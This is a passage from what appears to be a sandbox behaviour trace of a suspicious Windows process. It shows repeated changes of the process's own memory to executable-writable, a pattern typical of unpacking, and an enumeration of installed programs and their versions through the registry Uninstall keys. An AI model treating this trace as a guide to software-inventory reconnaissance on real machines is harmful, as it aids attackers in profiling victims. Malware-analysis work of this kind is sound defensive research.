OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.250] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.250] Sleep (dwMilliseconds=0x1) [0166.263] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x417000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x417000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.264] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.265] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.265] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.266] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.266] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.267] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.267] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.268] Sleep (dwMilliseconds=0x1) [0166.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x417000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x417000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.279] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.279] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.280] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.280] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.281] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.282] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.282] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.283] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.283] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.284] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.284] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7dfc44 | out: phkResult=0x1e7dfc44*=0x674) returned 0x0 [0166.285] RegEnumKeyA (in: hKey=0x674, dwIndex=0x0, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="AddressBook") returned 0x0 [0166.285] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayName") returned 11 [0166.285] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd320fc, cbMultiByte=63, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook") returned 63 [0166.285] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.286] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x678) returned 0x0 [0166.286] RegQueryValueExW (in: hKey=0x678, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.286] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.286] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32148, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook") returned 14 [0166.286] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd31298, cbMultiByte=63, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBookBook") returned 63 [0166.287] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x67c) returned 0x0 [0166.287] RegQueryValueExW (in: hKey=0x67c, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.287] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.287] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\n", cchWideChar=4, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\ns", lpUsedDefaultChar=0x0) returned 4 [0166.287] RegEnumKeyA (in: hKey=0x674, dwIndex=0x1, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="Adobe Flash Player Plugin") returned 0x0 [0166.287] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026738, cbMultiByte=4, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nft\\Windows\\CurrentVersion\\Uninstall\\AddressBookBook") returned 4 [0166.287] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd321d0, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamet\\Windows\\CurrentVersion\\Uninstall\\AddressBookBook") returned 11 [0166.287] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf25cc, cbMultiByte=77, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Plugin眨⹣眨엤A") returned 77 [0166.288] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Plugin", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x680) returned 0x0 [0166.288] RegQueryValueExW (in: hKey=0x680, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Adobe Flash Player 10 Plugin", lpcbData=0x1e7df794*=0x3a) returned 0x0 [0166.288] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.288] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32254, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Plugin眨⹣眨엤A") returned 14 [0166.288] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd322dc, cbMultiByte=77, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Pluginugin眨⹣眨엤A") returned 77 [0166.288] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Plugin", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x684) returned 0x0 [0166.289] RegQueryValueExW (in: hKey=0x684, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="10.3.183.90", lpcbData=0x1e7df78c*=0x18) returned 0x0 [0166.289] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.289] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n", cchWideChar=47, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n", lpUsedDefaultChar=0x0) returned 47 [0166.289] RegEnumKeyA (in: hKey=0x674, dwIndex=0x2, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="Connection Manager") returned 0x0 [0166.289] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32338, cbMultiByte=47, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\nlash Player Pluginugin眨⹣眨엤A") returned 47 [0166.289] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\nlash Player Pluginugin眨⹣眨엤A") returned 11 [0166.289] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd323d8, cbMultiByte=70, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Managerginugin眨⹣眨엤A") returned 70 [0166.307] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.308] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.308] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.309] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.309] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.310] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.310] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.311] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.311] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x688) returned 0x0 [0166.312] RegQueryValueExW (in: hKey=0x688, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.312] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.312] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.313] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.313] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd3242c, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\Connection Managerginugin眨⹣眨엤A") returned 14 [0166.313] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd324ac, cbMultiByte=70, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manageragerginugin眨⹣眨엤A") returned 70 [0166.313] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x68c) returned 0x0 [0166.314] RegQueryValueExW (in: hKey=0x68c, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.314] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.314] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n", cchWideChar=51, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n", lpUsedDefaultChar=0x0) returned 51 [0166.314] RegEnumKeyA (in: hKey=0x674, dwIndex=0x3, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="DirectDrawEx") returned 0x0 [0166.314] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.315] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf37b0, cbMultiByte=51, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\nManageragerginugin眨⹣眨엤A") returned 51 [0166.315] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\nManageragerginugin眨⹣眨엤A") returned 11 [0166.315] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2714, cbMultiByte=64, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawExeragerginugin眨⹣眨엤A") returned 64 [0166.315] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x690) returned 0x0 [0166.315] RegQueryValueExW (in: hKey=0x690, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.316] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.316] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32560, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawExeragerginugin眨⹣眨엤A") returned 14 [0166.316] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd325dc, cbMultiByte=64, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawExawExeragerginugin眨⹣眨엤A") returned 64 [0166.316] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x694) returned 0x0 [0166.316] RegQueryValueExW (in: hKey=0x694, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.316] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.316] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n", cchWideChar=55, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n", lpUsedDefaultChar=0x0) returned 55 [0166.317] RegEnumKeyA (in: hKey=0x674, dwIndex=0x4, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="Fontcore") returned 0x0 [0166.317] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e2c64, cbMultiByte=55, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\nxeragerginugin眨⹣眨엤A") returned 55 [0166.317] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\nxeragerginugin眨⹣眨엤A") returned 11 [0166.317] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd3262c, cbMultiByte=60, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore)\r\nxeragerginugin眨⹣眨엤A") returned 60 [0166.317] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x698) returned 0x0 [0166.317] RegQueryValueExW (in: hKey=0x698, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.317] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.317] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32678, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore)\r\nxeragerginugin眨⹣眨엤A") returned 14 [0166.318] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd31298, cbMultiByte=60, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcorecore)\r\nxeragerginugin眨⹣眨엤A") returned 60 [0166.318] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x69c) returned 0x0 [0166.318] RegQueryValueExW (in: hKey=0x69c, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.318] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.318] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\n", cchWideChar=59, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\n", lpUsedDefaultChar=0x0) returned 59 [0166.318] RegEnumKeyA (in: hKey=0x674, dwIndex=0x5, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="Google Chrome") returned 0x0 [0166.318] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd326f0, 